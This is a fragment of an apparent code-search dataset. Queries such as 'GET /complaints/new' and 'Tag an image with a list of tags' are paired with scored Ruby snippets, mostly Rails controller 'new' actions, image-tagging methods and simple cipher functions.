keys_arr.rotate!\n end \n new_str\nend", "title": "" }, { "docid": "61521fececfd513bf0e66a3c768cb6ff", "score": "0.52606326", "text": "def vigenere_cipher(message, keys)\n alpha = ('a'..'z').to_a\n message.each_char.with_index do |c, i|\n message[i] = alpha[(alpha.index(c) + keys[i % keys.size]) % alpha.size]\n end\n message\nend", "title": "" }, { "docid": "6d8eae7070f0b812419d248ae9a08ee1", "score": "0.5259783", "text": "def crypt(arg0)\n end", "title": "" }, { "docid": "aa74fa269fd70fb94bac62ea68c04c0a", "score": "0.52596396", "text": "def shift_cipher(key, text)\r\n ciphertext = ''\r\n encoded_text = ''\r\n key = translate_key(key, MY_DICT)\r\n message = clean_text(text, LETTERS)\r\n message.each_char.with_index do |character, index|\r\n encoded_text = MY_DICT[character]\r\n encrypted_text = (encoded_text + key[index % key.length]) % 26\r\n ciphertext += LETTERS[encrypted_text]\r\n end\r\n return ciphertext\r\nend", "title": "" }, { "docid": "a334cf3888e39ef76355a5d7ddddcaa0", "score": "0.5254503", "text": "def key_derivation_salt=(_arg0); end", "title": "" }, { "docid": "0c7f2f597e6925316125fab4b154b50e", "score": "0.5254239", "text": "def keypad_xmit\n controller.keypad = true\n end", "title": "" } ]
4252817bd51a40c154cb2be13ea62e65
GET /complaints/new GET /complaints/new.xml
[ { "docid": "5f835d906c15afd47bba34f8de82112d", "score": "0.0", "text": "def new\n @complaint = Complaint.new\n\t@complaints = Complaint.find(:all,:order=>\"created_at desc\" ,:conditions => \"status='NOT COMPLEATED'\")\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @complaint }\n end\n\t\n\tdt=DateTime.now\n\tdateandtime=(dt.to_s).split('T')\n\t@date=dateandtime[0].to_s\n\t@time=(dateandtime[1].to_s).split('T')\n\t\n end", "title": "" } ]
[ { "docid": "76b13e8cedec3a32ab7fc5e61c881833", "score": "0.7365057", "text": "def new\n @complaint = Complaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @complaint }\n end\n end", "title": "" }, { "docid": "081ce7b032f17103e1c78467e791a10d", "score": "0.72014534", "text": "def new\n @complaintable.insert(-1, Complaint.new).insert(0, :api)\n render template: 'complaints/new'\n end", "title": "" }, { "docid": "f47c18a6d0a1f503cb902f9f1dae21b5", "score": "0.6748104", "text": "def create(params)\n post(\"#{domain}/complaints\", params)\n end", "title": "" }, { "docid": "ea2fd3e1a971a989870c043755382702", "score": "0.6636291", "text": "def new\n @complaint = Complaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint }\n end\n end", "title": "" }, { "docid": "ea2fd3e1a971a989870c043755382702", "score": "0.6636291", "text": "def new\n @complaint = Complaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint }\n end\n end", "title": "" }, { "docid": "9f5860dbfff06057a578c578b3393d41", "score": "0.6629219", "text": "def new\n @convenio = Convenio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @convenio }\n end\n end", "title": "" }, { "docid": "725c22ae61fa636f5ff60022d9b73b24", "score": "0.65542454", "text": "def new\n @conseq = Conseq.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @conseq }\n end\n end", "title": "" }, { "docid": "8c08bd1f2afd028789a62252c310a90b", "score": "0.6543207", "text": "def new\n @ccl = Ccl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ccl }\n end\n end", "title": "" }, { "docid": "39d22794534318cea522862599058569", "score": "0.65328825", "text": "def new\n @complain = Complain.new\n @code = \"GS-02-002-#{DateTime.now.strftime('%y%m%d%H%M%S')}\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @complain }\n end\n end", "title": "" }, { "docid": "cee960f781dbc78312793d659e1fbf9e", "score": "0.65178204", "text": "def new\n @catalogs_priority = Catalogs::Priority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalogs_priority }\n end\n end", "title": "" }, { "docid": "278cc721a4f0a7eaf338a9bed4140c3d", "score": "0.6460812", "text": "def new\n logger.debug 'new_some interesting information'\n @comdty = Comdty.new\n setvariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @comdty }\n end\n end", "title": "" }, { "docid": "150f3fbe8aaf7763c1bda610c2c4277f", "score": "0.64576876", "text": "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contribution }\n end\n end", "title": "" }, { "docid": "150f3fbe8aaf7763c1bda610c2c4277f", "score": "0.64576876", "text": "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contribution }\n end\n end", "title": "" }, { "docid": "a48d20eaf9b172819da9db499910753a", "score": "0.64426863", "text": "def new\n @cadd = Cadd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cadd }\n end\n end", "title": "" }, { "docid": "961a7809afd4d3fd99281a30198b33bc", "score": "0.6395054", "text": "def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end", "title": "" }, { "docid": "fa03244210416fb18252731dfbecc0f5", "score": "0.63908345", "text": "def new\n @clenum = Clenum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @clenum }\n end\n end", "title": "" }, { "docid": "2804255586b61e22a026843394a6940d", "score": "0.63656235", "text": "def new\n @compra = Compra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @compra }\n end\n end", "title": "" }, { "docid": "4d9cd452d4a006d929bd05c51d7284f6", "score": "0.63487947", "text": "def new\n @colo = Colo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @colo }\n end\n end", "title": "" }, { "docid": "2355eb644acbccb9f849d442b4771363", "score": "0.63262624", "text": "def new\n @proyect = Proyect.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proyect }\n end\n end", "title": "" }, { "docid": "adbd13b73feb3e202690ac43ac0bc339", "score": "0.6312575", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "adbd13b73feb3e202690ac43ac0bc339", "score": "0.6312575", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "adbd13b73feb3e202690ac43ac0bc339", "score": "0.6312575", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "adbd13b73feb3e202690ac43ac0bc339", "score": "0.6312575", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "adbd13b73feb3e202690ac43ac0bc339", "score": "0.6312575", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "adbd13b73feb3e202690ac43ac0bc339", "score": "0.6312575", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "adbd13b73feb3e202690ac43ac0bc339", "score": "0.6312575", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "bcbb8cc71ef79caf1ad9460a38712078", "score": "0.6307891", "text": "def new\n @citation = Citation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @citation }\n end\n end", "title": "" }, { "docid": "358b06800faeddd2ce309fded7124cbf", "score": "0.6294376", "text": "def new\n @protocolo = Protocolo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @protocolo }\n end\n end", "title": "" }, { "docid": "85848544ada1259fabad5a473fc20e3e", "score": "0.62863004", "text": "def new\n @contrato = Contrato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contrato }\n end\n end", "title": "" }, { "docid": "b8b05ac1b1a6017b16c3905082e71270", "score": "0.628517", "text": "def new\n @certified_repository = CertifiedRepository.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @certified_repository }\n end\n end", "title": "" }, { "docid": "87ed1310089ac143740f83832ce2513a", "score": "0.62779707", "text": "def new\n @capp = Capp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @capp }\n end\n end", "title": "" }, { "docid": "d9ec896083d18af703d4518a3b79c931", "score": "0.62756854", "text": "def new\n @title = \"New Company\"\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "bb04f0b6f2f328eab163446904b03fb6", "score": "0.62738305", "text": "def new\n @new_project = Project.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new_project }\n end\n end", "title": "" }, { "docid": "ad608889ec4ba0b3173ca382079546c5", "score": "0.627074", "text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "ad608889ec4ba0b3173ca382079546c5", "score": "0.627074", "text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "ad608889ec4ba0b3173ca382079546c5", "score": "0.627074", "text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "4c50d602727c36d61222c620899bdbf7", "score": "0.627044", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @compliance }\n end\n end", "title": "" }, { "docid": "af65456ad7590d6a16572b3cb5a0037f", "score": "0.6267489", "text": "def new\n @company = Company.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "title": "" }, { "docid": "9c9708c7768e13426f89183d6051de84", "score": "0.6265645", "text": "def new\n @personal = Personal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personal }\n end\n end", "title": "" }, { "docid": "b4c7f4694a6eeef7be34427b8ae4e178", "score": "0.6259663", "text": "def new\n @cpro_project = CproProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cpro_project }\n end\n end", "title": "" }, { "docid": "d73cc1d5c15fabbda3978d5435cc6cbf", "score": "0.62581223", "text": "def new\n @addition = Addition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addition }\n end\n end", "title": "" }, { "docid": "58f9f41cbac80a5feb4dc6e2b8a9016f", "score": "0.6256558", "text": "def new\n @complaint = Complaint.new\n\n render json: @complaint\n end", "title": "" }, { "docid": "4ecfacd4850ebc9b73b4ba4bbd4d7ce8", "score": "0.6256522", "text": "def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "d29b63d12a454772ae8f0315e5c68a25", "score": "0.62512356", "text": "def new\n @cec_complaint = CecComplaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cec_complaint }\n end\n end", "title": "" }, { "docid": "0e31944992c4ce9a30159e1b02b29ddc", "score": "0.62498194", "text": "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "title": "" }, { "docid": "0e31944992c4ce9a30159e1b02b29ddc", "score": "0.62498194", "text": "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "title": "" }, { "docid": "254e7c4d22d56c9babb7cb47b3459275", "score": "0.6248807", "text": "def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end", "title": "" }, { "docid": "a83173640f77272bfb6f58a0a65c7e67", "score": "0.6245789", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "title": "" }, { "docid": "cfe2a7add3835ccfa74c7067d7f2c7d4", "score": "0.62421274", "text": "def new\n @project_status = ProjectStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_status }\n end\n end", "title": "" }, { "docid": "82686de79081d776872b6fe15c463eee", "score": "0.62375987", "text": "def new\n @pat_project = Pat::Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pat_project }\n end\n end", "title": "" }, { "docid": "c55dc8fba84d768280ad5ec6be37abfa", "score": "0.62368", "text": "def new\n @incident = Incident.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incident }\n end\n end", "title": "" }, { "docid": "c55dc8fba84d768280ad5ec6be37abfa", "score": "0.62368", "text": "def new\n @incident = Incident.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incident }\n end\n end", "title": "" }, { "docid": "43b62a4900dca560b98cccc865f4744f", "score": "0.62366045", "text": "def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end", "title": "" }, { "docid": "695326bc37dc94b91c33bde7e9291821", "score": "0.6236389", "text": "def new\n @contacts = Contact.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contacts }\n end\n end", "title": "" }, { "docid": "2fbbf0c1aa403bb4a7b761d728941a78", "score": "0.6235263", "text": "def new\n @title_view = 'Tipo de Denuncias'\n @request_and_complaint_complaint_type = RequestAndComplaint::ComplaintType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request_and_complaint_complaint_type }\n end\n end", "title": "" }, { "docid": "10c316376ffc7f972e8f9ac7f400c1da", "score": "0.62334096", "text": "def new\n @prime = Prime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prime }\n end\n end", "title": "" }, { "docid": "5e12200b95b5bf8ffbd597f61e6bc103", "score": "0.62310517", "text": "def new\n @approval = Approval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @approval }\n end\n end", "title": "" }, { "docid": "87730b58e4d0ebc4ed7fdb1aa878d41a", "score": "0.6230625", "text": "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "title": "" }, { "docid": "87730b58e4d0ebc4ed7fdb1aa878d41a", "score": "0.6230625", "text": "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "title": "" }, { "docid": "87730b58e4d0ebc4ed7fdb1aa878d41a", "score": "0.6230625", "text": "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "title": "" }, { "docid": "22c086133a1874a340d2b03ba04aa350", "score": "0.62256485", "text": "def new\n @court = Court.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @court }\n end\n end", "title": "" }, { "docid": "07979cb5bd1dc7f69491100c5b46019e", "score": "0.62253803", "text": "def new\n @correspondence_template = CorrespondenceTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @correspondence_template }\n end\n end", "title": "" }, { "docid": "3b4274dc66ca06ea76b49e91daaa244a", "score": "0.6225179", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ciclo }\n end\n end", "title": "" }, { "docid": "c9dbfd739428449846c38e843aed562d", "score": "0.6223145", "text": "def new\n @resolved = Resolved.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resolved }\n end\n end", "title": "" }, { "docid": "4839468c787dd4cd016e4d9dbff15da6", "score": "0.6218087", "text": "def new\n @pc_basic = PcBasic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pc_basic }\n end\n end", "title": "" }, { "docid": "fe8490b7c1ef9d1b7c1584b95d1dfa5f", "score": "0.61998385", "text": "def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @borrow }\n end\n end", "title": "" }, { "docid": "499ddec5423bec6e9b243f897589ad25", "score": "0.6197034", "text": "def new\n @lookup_scantask = LookupScantask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end", "title": "" }, { "docid": "bd6df89f1ac8aa964675e38fdea9d5ba", "score": "0.6184295", "text": "def new\n @repo = Repo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repo }\n end\n end", "title": "" }, { "docid": "e284720809fd9693be4160c34e056810", "score": "0.6180865", "text": "def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end", "title": "" }, { "docid": "7abda9ed46dc4fbf1681317b386b29af", "score": "0.61721456", "text": "def new\n @contratacion = Contratacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contratacion }\n end\n end", "title": "" }, { "docid": "b5c7645eeecf89e1e86b891ae65ad150", "score": "0.6171498", "text": "def index\n @complaints = Complaint.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @complaints }\n end\n end", "title": "" }, { "docid": "4d8ffbf8676977591e86817fe2b701f4", "score": "0.61556005", "text": "def new\n @lib_company = LibCompany.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lib_company }\n end\n end", "title": "" }, { "docid": "639a0307b984e97a6edfbe5539706437", "score": "0.61460257", "text": "def new\n respond_to do |format|\n format.html\n format.xml\n end\n end", "title": "" }, { "docid": "0186de454da1bbacc0c0e11f5e4361ac", "score": "0.61443853", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "0186de454da1bbacc0c0e11f5e4361ac", "score": "0.61443853", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "3518f067b6a4bba3771541665c70a43f", "score": "0.6140372", "text": "def new\n @people = People.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @people }\n end\n end", "title": "" }, { "docid": "2fec01c4ad951a04c38129f48ed9e89d", "score": "0.61398", "text": "def new\n @incident = Incident.new\n \n @title = \"New Incident\" \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incident }\n end\n end", "title": "" }, { "docid": "cc0824a70ea154db57315e24d6e4aacd", "score": "0.6133897", "text": "def new\n @county = County.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @county }\n end\n end", "title": "" }, { "docid": "f295958ef3297cfbaae59c7e6da5e70a", "score": "0.61331004", "text": "def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end", "title": "" }, { "docid": "d990f667c17b5dfc3c15903dded83f4c", "score": "0.61318827", "text": "def new\n @guide = Guide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guide }\n end\n end", "title": "" }, { "docid": "99c4a03dd2409938ed8f27a1c90d636b", "score": "0.6130235", "text": "def new\n @resource = Resource.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "63d9feb2ed53a04689f6cc5bb4a76b32", "score": "0.612823", "text": "def new\n @service_checker = ServiceChecker.new(:strict => \"0\", :checker_type => \"0\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_checker }\n end\n end", "title": "" }, { "docid": "aa81107c483df2a3592bb6d9785ef8a0", "score": "0.6126852", "text": "def create\n @complaint = current_user.complaints.new(complaint_params)\n\n respond_to do |format|\n if @complaint.save\n format.html { redirect_to @complaint, notice: 'Complaint was successfully created.' }\n format.json { render :show, status: :created, location: @complaint }\n else\n format.html { render :new }\n format.json { render json: @complaint.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf58321155d2a0e425d3fd11378b13c2", "score": "0.6120732", "text": "def new\n @ptcourse = Ptcourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptcourse }\n end\n end", "title": "" }, { "docid": "638936da34cbcb073b89ac9251a8086b", "score": "0.61170834", "text": "def new\n @title = \"New income classification\"\n @incomeclassification = Incomeclassification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incomeclassification }\n end\n end", "title": "" }, { "docid": "4ce29dcb448785ade793a68798d22433", "score": "0.61105347", "text": "def new\n @defect = Defect.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @defect }\n end\n end", "title": "" }, { "docid": "32d23e457194194ed523de156ee89693", "score": "0.6104947", "text": "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "title": "" }, { "docid": "09659b5e0a0b570d5c8019b81ae00efa", "score": "0.610416", "text": "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "title": "" }, { "docid": "c125c60c9dd5b56f93aeee06f6f7c5fc", "score": "0.6102752", "text": "def new\n @index = Indice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @index }\n end\n end", "title": "" }, { "docid": "fe71031c9d8ebe24d34e0b82ae9dbd02", "score": "0.61017823", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.60991555", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" } ]
aa4a429d36423ab1314e3f2d236e70cf
Tag an image with a list of tags.
[ { "docid": "ecb22f613ab19cd95b675a823a02fc04", "score": "0.59255725", "text": "def tag_with(tag_names)\n _tags = []\n Tag.parse(tag_names).each do |tag_name|\n _tags << Tag.find_or_create_by_name(tag_name.downcase)\n end\n self.tags = _tags.uniq\n end", "title": "" } ]
[ { "docid": "6898e5554430d4766cb35c5c40e7621b", "score": "0.8055661", "text": "def image_tags(*tags)\n tags.map do |tag|\n {image_tag: tag}\n end\n end", "title": "" }, { "docid": "e031433833ec10c233a68245b5f3ff6d", "score": "0.7395051", "text": "def add_tags_to_image(image, tags)\n image = image.resolve_id if image.respond_to?(:resolve_id)\n tags = tags.map { |t| t.name if t.is_a(Tag) }\n WeebImage.new(API::Toph.add_tags_to_image(self, image, tags), self)\n end", "title": "" }, { "docid": "a45b84a04a54548a9e46605ee1c35dfa", "score": "0.70915294", "text": "def tags\n _get(\"/query/image/tags\") { |json| json }\n end", "title": "" }, { "docid": "5f58bdb4953a9b2dbb398fcd743b3bdf", "score": "0.68518627", "text": "def all_images_by_tags tags\n images = @ec2.images.with_owner('self').tagged( tags.first.first )\n \n images = images.select do | image |\n image_tags = image.tags.to_h\n image_tags.merge( tags ) == image_tags \n end\n \n images\n end", "title": "" }, { "docid": "f113928971139b4d1eb7e393a1c3b3fa", "score": "0.67834663", "text": "def addTags(photo,tags)\n photo = photo.id if photo.class == Flickr::Photo\n tstr = tags.join(',')\n @flickr.call_method('flickr.photos.addTags',\n 'photo_id' => photo, 'tags' => tstr)\n end", "title": "" }, { "docid": "51c58798a6c0b78536138b6d4b764028", "score": "0.6738384", "text": "def generate_tags\n tag_data = self.analyze_and_return_labels_with_score\n tag_data.each do |description, score|\n tag = Tag.find_or_create_by(description: description)\n self.image_tags.create(score: score, description: description, tag: tag)\n end\n end", "title": "" }, { "docid": "6de051ddd486c7f2ff8d49b227a667c4", "score": "0.66912735", "text": "def image_params\n params.require(:image).permit(tag_list: [])\n end", "title": "" }, { "docid": "5b131464eca1414f8d12e02e3d0b013d", "score": "0.6637094", "text": "def tags(*list)\n @tags.concat(makelist(list)) unless list.empty?\n @tags\n end", "title": "" }, { "docid": "b4d876f913f6ea487f7fd1b3f5616e15", "score": "0.6636133", "text": "def add_tags(tags)\n rsp = @flickr.send_request('flickr.photos.addTags', {:photo_id => self.id, :tags => tags}, :post)\n true\n end", "title": "" }, { "docid": "777f61d35573a2950722ca39567c2e35", "score": "0.66176283", "text": "def fetch_tags params\n encoded_image = Base64.strict_encode64(params[:image_file].tempfile.read)\n api_key = ENV[\"GOOGLE_API_KEY\"]\n api_url = \"https://vision.googleapis.com/v1/images:annotate?key=#{api_key}\"\n\n body = {\n requests: [{\n image: {\n content: encoded_image\n },\n features: [\n {\n type: 'LABEL_DETECTION', maxResults: 10\n }\n ]\n }]\n }\n # Send request.\n uri = URI.parse(api_url)\n https = Net::HTTP.new(uri.host, uri.port)\n https.use_ssl = true\n request = Net::HTTP::Post.new(uri.request_uri)\n request[\"Content-Type\"] = \"application/json\"\n response = https.request(request, body.to_json)\n\n # Add the generated labels to the list of tag\n JSON.parse(response.body)[\"responses\"].each do |res|\n res[\"labelAnnotations\"].each do |tag|\n @image.tags.prepend(tag[\"description\"], \",\")\n end\n end\n @image.tags = @image.tags.delete_suffix(',')\n end", "title": "" }, { "docid": "861c6afcbdc5259c9c5db48a5d988dec", "score": "0.6608394", "text": "def tag(*tags)\n tags.each { |tag| @tags << tag }\n end", "title": "" }, { "docid": "13d398df1211d57b9444358cdcd850d1", "score": "0.6600505", "text": "def tags=(list)\n tag(self.class.name)\n tag(*list)\n end", "title": "" }, { "docid": "7a66c5367c0f383fc775b4754aba6da4", "score": "0.65101546", "text": "def show\n @images = Image.tagged_with @tag\n end", "title": "" }, { "docid": "1a597e6fd051354e1f6c8e4394e6405f", "score": "0.6487763", "text": "def image_tag_params\n params.require(:image_tag).permit(:image_id, :tag)\n end", "title": "" }, { "docid": "80369a0fe5d0e7a0bcc8b537e67243ff", "score": "0.64870626", "text": "def tag(*tags)\n p tags\n tags.each do |tag|\n tag << self\n @tags << tag\n end\n end", "title": "" }, { "docid": "80369a0fe5d0e7a0bcc8b537e67243ff", "score": "0.64870626", "text": "def tag(*tags)\n p tags\n tags.each do |tag|\n tag << self\n @tags << tag\n end\n end", "title": "" }, { "docid": "e48043c070c17061497804025a5e4712", "score": "0.63996744", "text": "def tag(*tags)\n tags.each {|t| @tags << t}\n @tags.uniq!\n end", "title": "" }, { "docid": "43b19159d4ec258f382beacb84c76b2d", "score": "0.6397462", "text": "def tag(*tags)\n attribute 'tags' do |existing_tags|\n existing_tags ||= []\n tags.each do |tag|\n if !existing_tags.include?(tag.to_s)\n existing_tags << tag.to_s\n end\n end\n existing_tags\n end\n end", "title": "" }, { "docid": "56cd23ce3591e4722b7793be4d2e6a3e", "score": "0.638843", "text": "def tag(tags)\n tags.each do |key, value|\n @tags[key.to_s] = value\n end\n end", "title": "" }, { "docid": "65ff210566a6b16e77d7d035cf8a1e66", "score": "0.6366803", "text": "def update\n @image_tags = ActsAsTaggableOn::Tag.all\n\n tag_list = params[:image][:tag_list]\n @image.tag_list = tag_list.keys.select{|t| tag_list[t] == \"1\"}\n\n\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: \"Image was successfully updated.\" }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a56fd8c33114bfea792bb0c86a8102fb", "score": "0.6363446", "text": "def tags(*args)\n tags = args.length == 1 ? args.first : args\n dsl_data[:tag_list] += tags\n end", "title": "" }, { "docid": 